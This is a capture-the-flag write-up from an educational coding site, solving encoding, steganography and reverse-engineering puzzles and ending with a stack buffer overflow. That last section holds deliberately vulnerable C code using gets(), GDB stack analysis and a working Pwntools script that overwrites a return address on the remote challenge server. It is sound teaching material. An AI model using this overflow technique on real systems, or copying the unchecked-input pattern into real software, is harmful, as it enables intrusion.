W4504 Capture the Flag IV

From Coder Merlin
Within these castle walls be forged Mavens of Computer Science ...
— Merlin, The Coder

This page will serve as a writeup for the CTF IV competition problems.




Based on the challenge name and the given encoded message, we can assume that this message is encoded using base 64. We can decode this message from base 64 using an online tool. When we decode the given message we get another string that looks like base 64. We can decode this new encoded message as well. We will repeat this process several times until we decode this message:


The result of decoding this is ahsCTF{B@s3_64}.

Decimal to Ascii[edit]

[50 Points] Convert this to ascii. 971041156784701231005199105109641089511648959711599105105125
Hint: You need to figure out where to put spaces in the string

This challenge seems to expect us to convert this decimal number into Ascii. The Ascii protocol gives each character a corresponding number that can be expressed in decimal. However, the decimal number we are given is too big to represent any individual character, so we can guess that this decimal number is multiple decimal representations of Ascii characters combined. The hint also tells us this. We don't need to manually separate the different Ascii codes, however. Online decimal to Ascii converters often have a feature to guess where the spaces are supposed to be, and they are reasonably accurate. When we put the given decimal number into a decimal to Ascii converter, we get ahsCTF{d3cim@l_t0_ascii}.


JPG or not JPG[edit]

[75 Points]

The challenge also provides a file called download.jpg.

When we attempt to open download.jpg, it is unable to be displayed. This implies that the file is broken in some way. We can open this file up in a hex editor such as HxD to analyze the raw hex. When we look at the end of the file, we see some plaintext. The plaintext reads ahsCTF{123ddd_7sf3bq4f}.

Outer Space[edit]

[75 Points] Zero width space...

The challenge also provides a file called skinny_spaces.txt.

When we open up this file in a text editor, it seems to be blank. However, we can select some text, so the text file seems to only be composed of spaces:

 ​​    ​ ​​ ​    ​​​  ​​ ​    ​​ ​ ​ ​   ​   ​​  ​​​​ ​​ ​​​​ ​   ​​  ​​ ​​​  ​   ​​     ​ ​​​​​ ​​​ ​​​  ​​   ​ ​​  ​   ​​​ ​   ​​ ​    ​​​​​ ​

Let's open this file up in a program that has a find and replace feature, such as Visual Studio Code. We can select a single character by holding shift and clicking the right or left arrow keys. This allows us to find similar characters to the one selected. Notice that some of the spaces have no width (hence the name zero width space). After some analysis, it seems that there are two different types of spaces in this file, seemingly randomly placed. Since there are only two spaces, the flag is likely encoded using binary. Let's use our text editor's find and replace feature to replace the first type of space with a 0, and the second with a 1:


Now let's plug this binary string into an online binary to ascii converter. Note that if you switched the spaces up (so 0s are 1s and vice versa) you will need to swap the bits. We get this result: ahsCTF{z3r0_w1dth}.

Reverse Engineering[edit]

Function Junction[edit]

[100 Points] I hope you like algebra...
Hint: Remember to format your flag with ahsCTF{flag_goes_here}

The challenge also provides a file called Main.java.

Let's take a look at Main.java:

import java.util.Scanner;

public class Main {
	public static void main(String[] args) {
		Scanner scanner = new Scanner(System.in);
		System.out.print("Input an integer: ");
		int input = scanner.nextInt();
		input = b(input);
		input = a(input);
		input = e(input);
		input = d(input);
		input = c(input);
		if(input == 16) System.out.println("Your input to the power of 7 is the flag!");
		else System.out.println("Incorrect input. Try again.");
	public static int a(int num) {
		return num * 3;
	public static int b(int num) {
		return num - 7;
	public static int c(int num) {
		return num * num;
	public static int d(int num) {
		return num + 1;
	public static int e(int num) {
		return num % 57;

This program seems to collect a numerical input, modify it with some functions, then check if the modified input equals 16. If the modified input is 16, then the original input to the power of 7 is the flag.

Let's run this program backward manually in order to find out what input may lead to a modified input of 16. Since c() is the last function called, we'll start by checking what input to that function would return 16. Function c() returns the input squared, so we want to solve: x^2 = 16. We find that x = 4. Now let's move back a function and see what input function d() needs to return 4. x + 1 = 4, so x = 3. Now to e(): x % 57 = 3, x = 3. Now to a(): 3x = 3, x = 1. Now to b(): x - 7 = 1, x = 8. This algebra proves that when we input 8, we get 16, and the program prints that "Your input to the power of 7 is the flag!". We can verify this by running the program and inputting 8. Let's compute 8^7 to get the flag: 2097152. Formatted, we get ahsCTF{2097152}.


[150 Points] This program checks to see if the number you input is correct. The correct input will be the encoded flag. Use Ghidra to decompile the executable and view the source code. This should help you figure out the correct number to input.
Hint: Integer division rounds down :)
Hint: Format your flag correctly (ahsCTF{flag_goes_here})

The challenge also provides an executable ELF file called slicer.

Let's begin by running this executable. Note that you may need to add the file to a shell using SFTP or wget.

john-williams@codermerlin:~$  ./slicer

Hey! This program will check to see if the number you input is correct!
The correct input may be the encoded flag?!?!?
Incorrect input. Try again.

Notice that we inputted the number 12345. Based on the prompt, it seems that we need to reverse engineer the input that will result in the program telling us it's correct. Let's decompile this executable using Ghidra so we can view the source code and find out how it works. In Ghidra select File > New Project > [Dragon Icon] > Import File to import the slicer executable. Then follow the prompts to decompile it. We can search for the main function to view the decompiled code:

int main(void)

  long lVar1;
  ulonglong uVar2;
  long in_FS_OFFSET;
  ulonglong input;
  ulonglong magicnumber;
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  puts("Hey! This program will check to see if the number you input is correct!");
  puts("The correct input may be the encoded flag?!?!?");
  puts("Input: ");
  uVar2 = f(input);
  if (uVar2 == 0x21094d4f7fa0) {
    puts("Correct! Your input is the encoded flag!");
  else {
    puts("Incorrect input. Try again.");
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
  return 0;

This program seems to scan user input, run function f() on that input, then check if the return of function f() is equal to 0x21094d4f7fa0. If the function's output equals 0x21094d4f7fa0, we know the original input is the encoded flag. Let's look at function f() to find out what input would result in the function returning 0x21094d4f7fa0:

ulonglong f(ulonglong n)

  return n >> 1;

A quick google search reveals that the >> operator shifts the bits of the first operand to the right an amount specified by the second operand. The google search also reveals that this is equivalent to dividing the first operand by 2^second operand. Since the second operand is 1 in this case, this function just divides the input by 2. This means that in order to get the desired output of 0x21094d4f7fa0, the input needs to be 0x2 * 0x21094d4f7fa0. 0x2 * 0x21094d4f7fa0 = 0x42129a9eff40 = 72647670955840. This means 72647670955840 is the input that is the encoded flag. We can verify this by running the program and inputting 72647670955840. 72647670955840 is clearly a decimal number, so let's convert it to text using an online converter. We get this result: H@LF_:(. Even if we format this correctly, it is the incorrect flag. However, one of the hints reminds us that integer division rounds down :). This means that 72647670955840 + 1 = 72647670955841 is also a viable input. When we convert this number to text, we get H@LF_:). Formatted, the flag is ahsCTF{H@LF_:)}.

Binary Exploitation[edit]

Pointer Pummeling[edit]

[200 Points] If you’re not familiar with buffer overflows, check out W4501. If you’re not familiar with how the stack works, check out https://en.wikipedia.org/wiki/Call_stack. This is similar to the buffer overflows from previous CTFs, except this time we’ll be overriding the return address. I’d approach this challenge by analyzing the stack using GDB, then writing a Pwntools exploit to overflow the buffer and overwrite the return address. You can run the program on the server with the flag file at
Hint: Take a look at some previous Binary Exploitation writeups from the W4500 Pathway on Codermerlin.
Hint: When writing your script, the bytes() function may help.

The challenge also provides the files pointerPummel.c and the executable ELF file pointerPummel.elf.

Let's start by running pointerPummel.elf with the input "testing":

john-williams@codermerlin:~$  ./pointerPummel.elf

You may want to get the address of the RIP (return address) location and win() location
The win() function is located at: 0x4011b6
Input something :)
Jumping to this return address: 0x40127d

Let's also use Pwntools' checksec command to check the security pointerPummel.elf has:

john-williams@codermerlin:~$  checksec pointerPummel.elf

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

The main item to note here is that PIE is disabled. Position Independent Executable (PIE) allows executables to run at different memory locations, but since PIE is disabled on this program, it will run at the same memory location every time. This will be useful later.

Finally, let's take a look at the code in pointerPummel.c:

#include <stdio.h>
#include <stdlib.h>

void win() {
  printf("You win!!!!!!!!!!!!!!\n");
  system("cat flag.txt");

void vuln() {
  char buffer[16];
  puts("You may want to get the address of the RIP (return address) location and win() location");
  printf("The win() function is located at: %p\n", win);
  puts("Input something :)");
  printf("Jumping to this return address: %p\n", __builtin_return_address(0));

int main() {
  setvbuf(stdout, NULL, _IONBF, 0);


  return 0;

This program uses the gets() function, which doesn't have bounds checking for input. This allows it to overwrite memory beyond the 16-byte buffer that it is writing to. It seems our goal for this challenge is to overflow the buffer and overwrite the return address on the stack to point to the win() function. Let's run the program in GDB to see exactly what the memory looks like:

(gdb)  br vuln

Add a breakpoint at the vuln function, where the vulnerability is.

(gdb)  info frame

Stack level 0, frame at 0x7fffffffde90:
 rip = 0x4011d9 in vuln; saved rip = 0x40127d
 called by frame at 0x7fffffffdea0
 Arglist at 0x7fffffffde80, args: 
 Locals at 0x7fffffffde80, Previous frame's sp is 0x7fffffffde90
 Saved registers:
  rip at 0x7fffffffde88

Take a look at the stack frame for vuln(). Take note of where the return address (rip) is.

(gdb)  info address win

Symbol "win" is at 0x4011b6 in a file compiled without debugging.

Get the address of the win() function. This address matches the one that the program printed earlier.

(gdb)  x/16x $sp

0x7fffffffde88: 0x0040127d      0x00000000      0x00000000      0x00000000
0x7fffffffde98: 0xf7deb0b3      0x00007fff      0xf7ffc620      0x00007fff
0x7fffffffdea8: 0xffffdf88      0x00007fff      0x00000000      0x00000001
0x7fffffffdeb8: 0x0040124d      0x00000000      0x00401290      0x00000000

View 16 words of memory after the stack pointer. Notice that the RIP is at 0x7fffffffde88 and its endianness.

When we analyzed the stack frame earlier, notice that the local variable, which in this case is the buffer, is located 0x8 bytes before the RIP in memory. This means that we can input 16 bytes to fill the buffer, 8 more to fill the gap between the buffer and the RIP, and then input the address of the win() function to override the RIP. Let's make a Pwntools script to do this:

from pwn import *

context.update(arch='amd64', os='linux')
ps = remote('', 50001)


payload = bytes([0x90])*(16+8)
payload += bytes([0x96,0x11,0x40,0x00,0x00,0x00,0x00,0x00])



This script will connect to the remote program running on a server. It will then make a payload to send as input. The payload begins with 24 bytes of 0x90 to fill the buffer and gap between the buffer and RIP. The payload then contains the address of the win function. The address of the win() function is slightly different than that on our machine, but since running the program tells us the address of the win() function this isn't a problem. Let's run this script:

john-williams@codermerlin:~$  python3 script.py

[+] Opening connection to on port 50001: Done
b'You may want to get the address of the RIP (return address) location and win() location\nThe win() function is located at: 0x401196\nInput something :)\n'
[*] Switching to interactive mode
Jumping to this return address: 0x401196
You win!!!!!!!!!!!!!!
[*] Got EOF while reading in interactive
[*] Interrupted

The remote program's win() function tells us that the flag is ahsCTF{i_wond3r_h0w_the_c0mpuTeR_f3els}.